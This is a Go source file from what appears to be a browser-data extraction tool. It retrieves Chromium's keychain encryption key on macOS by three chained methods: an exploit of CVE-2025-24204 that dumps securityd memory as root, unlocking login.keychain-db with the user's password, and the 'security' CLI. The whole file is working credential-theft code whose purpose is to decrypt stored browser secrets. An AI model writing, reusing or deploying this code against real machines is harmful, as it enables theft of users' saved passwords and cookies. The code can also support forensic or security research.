//go:build darwin package keyretriever import ( "bytes" "context" "crypto/sha1" "errors" "fmt" "os/exec" "strings" "sync" "time" "github.com/moond4rk/keychainbreaker" "github.com/moond4rk/hackbrowserdata/log" ) // https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 var darwinParams = pbkdf2Params{ salt: []byte("saltysalt"), iterations: 1003, keySize: 16, hashFunc: sha1.New, } // securityCmdTimeout is the maximum time to wait for the security command. const securityCmdTimeout = 30 * time.Second // GcoredumpRetriever uses CVE-2025-24204 to extract keychain secrets // by dumping the securityd process memory. Requires root privileges. // All keychain records are cached via sync.Once so the memory dump // happens only once, even when shared across multiple browsers. type GcoredumpRetriever struct { once sync.Once records []keychainbreaker.GenericPassword err error } // RetrieveKey logs internal failures at Debug and returns (nil, nil) so ChainRetriever falls // through to the next retriever silently. The most common failure ("requires root privileges") // is documented expected behavior, not a warning-worthy condition; surfacing it on every profile // would drown out genuine warnings. The same pattern is used by ABERetriever (see abe_windows.go). func (r *GcoredumpRetriever) RetrieveKey(hints Hints) ([]byte, error) { r.once.Do(func() { r.records, r.err = DecryptKeychainRecords() }) if r.err != nil { log.Debugf("gcoredump: %v", r.err) return nil, nil //nolint:nilerr // intentional silent fallthrough } key, err := findStorageKey(r.records, hints.KeychainLabel) if err != nil { log.Debugf("gcoredump: %v", err) return nil, nil //nolint:nilerr // intentional silent fallthrough } return key, nil } // loadKeychainRecords opens login.keychain-db and unlocks it with the given // password, returning all generic password records. func loadKeychainRecords(password string) ([]keychainbreaker.GenericPassword, error) { kc, err := keychainbreaker.Open() if err != nil { return nil, fmt.Errorf("open keychain: %w", err) } if err := kc.Unlock(keychainbreaker.WithPassword(password)); err != nil { return nil, fmt.Errorf("unlock keychain: %w", err) } return kc.GenericPasswords() } // findStorageKey searches keychain records for the given storage account // and derives the encryption key. func findStorageKey(records []keychainbreaker.GenericPassword, storage string) ([]byte, error) { for _, rec := range records { if rec.Account == storage { return darwinParams.deriveKey(rec.Password), nil } } return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound) } // KeychainPasswordRetriever unlocks login.keychain-db directly using the // user's macOS login password. No root privileges required. // The keychain is opened and decrypted only once; subsequent calls // for different browsers reuse the cached records. type KeychainPasswordRetriever struct { Password string once sync.Once records []keychainbreaker.GenericPassword err error } func (r *KeychainPasswordRetriever) RetrieveKey(hints Hints) ([]byte, error) { if r.Password == "" { return nil, fmt.Errorf("keychain password not provided") } r.once.Do(func() { r.records, r.err = loadKeychainRecords(r.Password) }) if r.err != nil { return nil, r.err } return findStorageKey(r.records, hints.KeychainLabel) } // SecurityCmdRetriever uses macOS `security` CLI to query Keychain. // This may trigger a password dialog on macOS. Results are cached // per storage name so each browser's key is fetched only once. type SecurityCmdRetriever struct { mu sync.Mutex cache map[string]securityResult } type securityResult struct { key []byte err error } func (r *SecurityCmdRetriever) RetrieveKey(hints Hints) ([]byte, error) { storage := hints.KeychainLabel r.mu.Lock() defer r.mu.Unlock() if res, ok := r.cache[storage]; ok { return res.key, res.err } key, err := r.retrieveKeyOnce(storage) r.cache[storage] = securityResult{key: key, err: err} return key, err } func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), securityCmdTimeout) defer cancel() var stdout, stderr bytes.Buffer cmd := exec.CommandContext(ctx, "security", "find-generic-password", "-wa", strings.TrimSpace(storage)) //nolint:gosec cmd.Stdout = &stdout cmd.Stderr = &stderr if err := cmd.Run(); err != nil { if errors.Is(ctx.Err(), context.DeadlineExceeded) { return nil, fmt.Errorf("security command timed out after %s", securityCmdTimeout) } // `security find-generic-password` exits non-zero with empty stderr when the user denies // the keychain access prompt or enters the wrong password. Surface that explicitly so the // error message is actionable instead of the cryptic "exit status 128 ()". stderrStr := strings.TrimSpace(stderr.String()) if stderrStr == "" { return nil, fmt.Errorf("security command: %w (likely keychain access denied or wrong password)", err) } return nil, fmt.Errorf("security command: %w (%s)", err, stderrStr) } if stderr.Len() > 0 { return nil, fmt.Errorf("keychain: %s", strings.TrimSpace(stderr.String())) } secret := bytes.TrimSpace(stdout.Bytes()) if len(secret) == 0 { return nil, fmt.Errorf("keychain: empty secret for %s", storage) } return darwinParams.deriveKey(secret), nil } // DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher // prefixes are not used by Chromium on this platform), populated by a within-tier first-success // chain tried in order: // // 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only) // 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty // 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog) func DefaultRetrievers(keychainPassword string) Retrievers { chain := []KeyRetriever{&GcoredumpRetriever{}} if keychainPassword != "" { chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword}) } chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)}) return Retrievers{V10: NewChain(chain...)} }